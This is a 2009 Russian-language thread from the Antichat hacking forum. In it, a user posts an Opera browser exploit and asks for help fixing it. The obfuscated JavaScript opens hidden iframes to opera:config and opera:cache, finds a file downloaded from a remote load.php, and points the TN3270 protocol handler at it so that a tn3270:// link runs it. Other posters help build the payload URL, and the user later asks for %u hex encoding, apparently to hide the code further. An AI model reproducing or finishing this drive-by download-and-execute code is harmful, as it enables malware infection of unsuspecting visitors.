Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

01.07.2009, 00:22
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
<script>
alert(location.href);
</script>
|
|
|

01.07.2009, 00:55
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме: 659306
Репутация:
34
|
|
Сори, выразился не ясно... Смотри, нужно, чтобы определялся путь (без самого файла, тока путь с дирой), а в конце приписывался файл уже (отдельно), например: pipka.php... Сори, что сразу не сказал...
|
|
|

01.07.2009, 00:59
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме: 659306
Репутация:
34
|
|
И, если не сложно, забей результат в переменную, чтобы сразу выводить...
|
|
|

01.07.2009, 01:16
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Код:
<script>
// Пример:
var reg=/http:\/\/(.*)\//;
var arr=reg.exec("http://baklajka.ru/krug/bossota/shanson/1.txt");
alert(arr[1]);
// Сабж:
var reg=/http:\/\/(.*)\//;
var file = 'test.php';
var arr=reg.exec(location.href);
alert(arr[1]+'/'+file);
</script>
|
|
|

01.07.2009, 01:25
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме: 659306
Репутация:
34
|
|
Цены тебе нет. Спс 
|
|
|

01.07.2009, 14:09
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме: 659306
Репутация:
34
|
|
Есть следующий сплоит под оперу:
<script>
var reg=/http:\/\/(.*)\//;
var file = 'load.php';
var arr=reg.exec(location.href);
var url = 'http://'+arr[1]+'/'+file;
var a = 1;
var b = 2;
function sum(a,b) {
return (a + b); }
var abc = 123;
var bcd = 234;
var cde = 456;
function my(abc,bcd,cde) {
return (cde - bcd - abc); }
blank_iframe = document.createElement('iframe');
blank_iframe.src = 'about:blank';
blank_iframe.setAttribute('id', 'blank_iframe_window');
blank_iframe.setAttribute('style', 'display:none');
document.appendChild(blank_iframe);
blank_iframe_window.eval
("co"+"n"+"fi"+"g"+"_"+"if"+"ra"+"m"+"e = d"+"ocum"+"en"+"t"+"."+"cr"+"ea"+"te"+"Ele"+"ment( 'iframe');\
config_iframe.setAttribute('id', 'config_iframe_window');\
config_iframe.src = 'opera:config';\
document.appendChild(config_iframe);\
app_iframe = document.createElement('script');\
cache_iframe = document.createElement('iframe');\
app_iframe.src = СЮДА;\
app_iframe.onload = function ()\
{\
cache_iframe.src = 'opera:cache';\
cache_iframe.onload = function ()\
{\
cache = cache_iframe.contentDocument.childNodes[0].innerHTML.toUpperCase();\
var re = new RegExp('(OPR\\\\w{5}.EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"'+app_iframe.src.toUpperCase(), '');\
filename = cache.match(re);\
config_iframe_window.eval\
(\"\
opera.setPreference('Network','TN3270 App',opera.getPreference('User Prefs','Cache Directory4')+parent.filename[1]);\
app_link = document.createElement('a');\
app_link.setAttribute('href', 'tn3270://nothing');\
app_link.click();\
setTimeout(function () {opera.setPreference('Network','TN3270 App','telnet.exe')},1000);\
\");\
};\
document.appendChild(cache_iframe);\
};\
document.appendChild(app_iframe);");
var xyz = 123;
var xxy = 112;
function sum(xyz,xxy) {
return (xyz + xxy); }
</script>
В скрипте определяется путь до файла load.php, после чего результат должен быть вставлен в поле (переменная url), обозначенное как СЮДА, но, почему-то, вставляться не хочет... Как это сделать?
P.S. Надо именно на javascript, не на php. В яве ноль, Pashkela, выручай 
Последний раз редактировалось sNt; 01.07.2009 в 14:14..
|
|
|

01.07.2009, 14:59
|
|
Участник форума
Регистрация: 08.04.2008
Сообщений: 242
Провел на форуме: 2230263
Репутация:
229
|
|
что-то я не понял смысл этого выражения - var arr=reg.exec(location.href); ....
попробуй в начале заменить на вот это
var tmp=location.href;
var file = 'load.php';
var arr = tmp.match(/http:\/\/(.*)\//);
var url = 'http://'+arr[1]+'/'+file;
и ниже строчку где надпись СЮДА
app_iframe.src = url;\
p.s. у себя попробовал, где-то дальше отваливается, но у меня фф, может на опере не будет.
|
|
|

01.07.2009, 15:15
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме: 659306
Репутация:
34
|
|
Я так и делаю. Как ты выразился - "отваливается".
|
|
|

01.07.2009, 15:31
|
|
Участник форума
Регистрация: 08.04.2008
Сообщений: 242
Провел на форуме: 2230263
Репутация:
229
|
|
я ошибся со вторым выражением, должно быть так..
app_iframe.src = '"+url+"';\
но фф все равно дальше ругается, даже самому стало интересно.
|
|
|

01.07.2009, 15:56
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме: 659306
Репутация:
34
|
|
Нужна функция для перевода символов в hex вида %ue2e на яве... В инете не пашет ничего, если и есть. Мб руки кривые... Помогите плз.. Спасибо 
Последний раз редактировалось sNt; 04.07.2009 в 00:14..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|